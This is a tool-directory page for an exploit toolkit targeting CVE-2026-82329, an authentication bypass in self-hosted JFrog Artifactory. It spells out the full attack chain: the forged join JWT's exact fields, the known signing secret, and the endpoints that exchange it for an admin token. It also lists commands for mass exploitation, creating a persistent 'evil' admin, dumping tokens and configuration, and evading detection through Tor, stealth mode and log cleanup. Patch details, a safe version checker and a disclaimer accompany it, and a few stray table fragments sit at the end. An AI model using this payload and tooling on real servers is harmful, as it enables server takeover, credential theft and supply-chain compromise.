Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-82329-PoC-Exploit — Exploit and detection toolkit for CVE-2026-82329, a JFrog Artifactory auth bypass. Forges join JWTs to mint admin tokens; includes a non-intrusive version checker. | Kitploit
Tools/GitHubGitHub/tc4dy/cve-2026-82329-poc-exploit
Defensive ToolsVulnerability ScannersPayload GenerationExploitationWeb Application ExploitationInformation GatheringSecurity VirtualizationPenetration TestingAuthentication

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Red Teaming
GitHubtc4dy/cve-2026-82329-poc-exploit

CVE-2026-82329-PoC-Exploit

Exploit and detection toolkit for CVE-2026-82329, a JFrog Artifactory auth bypass. Forges join JWTs to mint admin tokens; includes a non-intrusive version checker.

View Repository
10h 35m agoNot yet reviewed
Share

CVEPoC

CVE‑2026‑82329 – JFrog Artifactory Auth Bypass Toolkit

Python 3.8+ CVSS Author Artifactory

ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING
This repository provides tools for authorized security professionals, blue teams, and penetration testers only.
Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.


📖 Vulnerability Overview

CVE‑2026‑82329 is a critical authentication bypass vulnerability in (versions through ) that allows an unauthenticated attacker to obtain a by abusing the JFrog Access cluster join mechanism.

self-hosted JFrog Artifactory
7.111.x
7.161.x
full platform administrator token

How it works

  1. Blank join key trust – JFrog Access trusts a phantom join key whose value is an empty string. Its signing secret is therefore the deterministic value 32 * 0x20 (spaces).
  2. Forged join JWT – an attacker forges an HS256 JWT signed with this known secret and kid = SHA256("").
  3. SERVICE token issued – POST /access/api/v1/registry/join returns a SERVICE token with scp=admin without any authentication.
  4. Admin token exchange – POST /access/api/v1/tokens with scope=applied-permissions/admin&audience=* yields a full platform admin token.
  5. Impact – full repository takeover, token theft, admin user creation, artifact poisoning, supply-chain attacks, and lateral movement into connected services (Xray, Mission Control, Distribution). Upgrade immediately!

Affected Versions

  • 7.111.4 – 7.111.20 – vulnerable
  • 7.117.0 – 7.117.27 – vulnerable
  • 7.125.0 – 7.125.19 – vulnerable
  • 7.133.0 – 7.133.28 – vulnerable
  • 7.146.0 – 7.146.36 – vulnerable
  • 7.161.0 – 7.161.19 – vulnerable

Patch

  • Upgrade to 7.111.21, 7.117.28, 7.125.20, 7.133.29, 7.146.38, or 7.161.20 or newer.
  • If upgrade is not possible, restrict network access to Artifactory (never expose it to the internet) and rotate all admin tokens as a temporary workaround.

🧰 Tools

ToolPurposeIntended User
exploit.pyFull weaponized toolkit with JWT forging, admin token exchange, admin user creation, mass scanning, stealth mode, proxy rotation, interactive menu, and full attack chain.Red teams / authorized pentesters
safechecker.pyNon‑intrusive vulnerability checker that detects Artifactory version, validates exposure, and assesses risk without obtaining any token or executing any payload. Generates JSON reports.Blue teams / security auditors

📊 Feature Comparison

Featureexploit.pysafechecker.py
Vulnerability detection✅✅
Version detection✅✅
Forged join JWT✅❌
Service token mint✅❌
Admin token exchange✅❌
Admin user creation✅❌
List repositories✅❌
List users✅❌
Dump configuration✅❌
Dump tokens✅❌
Full attack chain✅❌
Interactive menu✅❌
Mass scanning (multi‑thread)✅✅
Proxy support✅✅
Proxy rotation✅❌
Tor support (anonymity)✅❌
User‑Agent rotation (OPSEC)✅❌
Jitter (OPSEC)✅❌
Adaptive rate limiter✅❌
Non‑intrusive (safe) mode❌✅
Version report✅✅
Anonymous access check❌✅
JSON report✅✅
Log cleanup (anti‑forensic)

🎯 Use Case Summary

ScenarioRecommended Tool
Blue Team – verifying if your Artifactory is vulnerablesafechecker.py
Security Audit – non‑intrusive vulnerability assessmentsafechecker.py
Red Team – authorized penetration testing with full exploitationexploit.py
Bug Bounty – responsible disclosure testingsafechecker.py
Mass Scanning – checking multiple targets for vulnerabilityexploit.py (detect‑only)
Incident Response – checking if systems are compromisedsafechecker.py

⚙️ Installation

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3
curl_cffi

📋 Parameters

exploit.py Parameters

ParameterDescription
-u, --urlSingle target Artifactory URL (e.g. http://artifactory.example.com:8082)
-f, --fileFile containing list of targets (one per line) for mass scanning
--create-adminCreate persistent admin user (format: USER:PASS)
--keep-adminKeep created admin user (do not cleanup after scan)
--token-onlyOnly print admin token (single target)
--interactiveInteractive menu after exploitation
--service-idService ID for join JWT (default: jfrt@01)
-t, --threadsNumber of threads for multi‑target (default: 10)
--timeoutRequest timeout (default: 25s)
--retryMax retries (default: 3)
--proxyHTTP/HTTPS proxy (e.g. http://127.0.0.1:8080)
--proxy-listFile with proxies for rotation (one per line)
--jitterRandom jitter (0‑2 sec) between requests
--stealthEnable stealth mode (UA rotation + X‑Forwarded‑For)
--curl-cffiUse curl_cffi for TLS fingerprint impersonation
--fullFull attack: all modules
--dump-configDump system configuration
--dump-tokensDump all access tokens
--list-reposList repositories
--list-usersList users
--detectDetection only (no admin token exchange)

safechecker.py Parameters

ParameterDescription
-u, --urlSingle target Artifactory URL (e.g. http://artifactory.example.com:8082)
-f, --fileFile containing list of targets (one per line)
-t, --threadsNumber of threads for multi‑target (default: 5)
--timeoutRequest timeout (default: 10s)
-v, --verboseVerbose output
-o, --outputSave JSON report to file

💥 Scenarios

#ScenarioCommand
1Quick vulnerability checkpython safechecker.py -u http://artifactory.example.com:8082
2Detailed scan with reportpython safechecker.py -u http://artifactory.example.com:8082 -o report.json -v
3Mass audit from filepython safechecker.py -f targets.txt -t 10 -o audit.json
4Detect‑only exploitpython exploit.py -u http://artifactory.example.com:8082 --detect
5Get admin token onlypython exploit.py -u http://artifactory.example.com:8082 --token-only
6Full attack with interactive menupython exploit.py -u http://artifactory.example.com:8082 --interactive
7Create persistent admin userpython exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin
8Dump configurationpython exploit.py -u http://artifactory.example.com:8082 --dump-config
9List repositories and userspython exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users
10Mass exploit with stealthpython exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json
11Proxy rotation with Torpython exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth

🧪 Endpoint & Exploitation Chain

The exploit uses the following JFrog endpoints and exploitation steps:

StepMethodEndpointDescription
1. JoinPOST/access/api/v1/registry/joinForged HS256 JWT → SERVICE token (scp=admin)
2. ExchangePOST/access/api/v1/tokensSERVICE token → platform admin token
3. ProveGET/artifactory/api/system/configurationAdmin‑only proof of access
4. PersistPUT/artifactory/api/security/users/{user}Create persistent admin user
5. RevokeDELETE/access/api/v1/tokens/{id}Cleanup created tokens

Payload Format

root@kitploit:~
# Forged join JWT structure
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "iat": <unix_timestamp>,
  "service_id": "jfrt@01",
  "kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
  "skip_node_registration": true
}

# Signing secret
secret = b"\x20" * 32

# Admin token request
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false

🛡️ Responsible Use

  • Only use these tools on systems you own or have explicit written permission to test.
  • Unauthorized access is illegal and unethical.
  • The authors are not responsible for any misuse.
  • Always follow your country's laws and regulations.

This software is provided for educational purposes and authorized security testing only.

Download Tool
✅
❌
Custom User‑Agent✅✅
SSL verification control✅✅
--exploit
Perform full exploitation
-o, --outputSave JSON report to file
-v, --verboseVerbose output
-q, --quietQuiet mode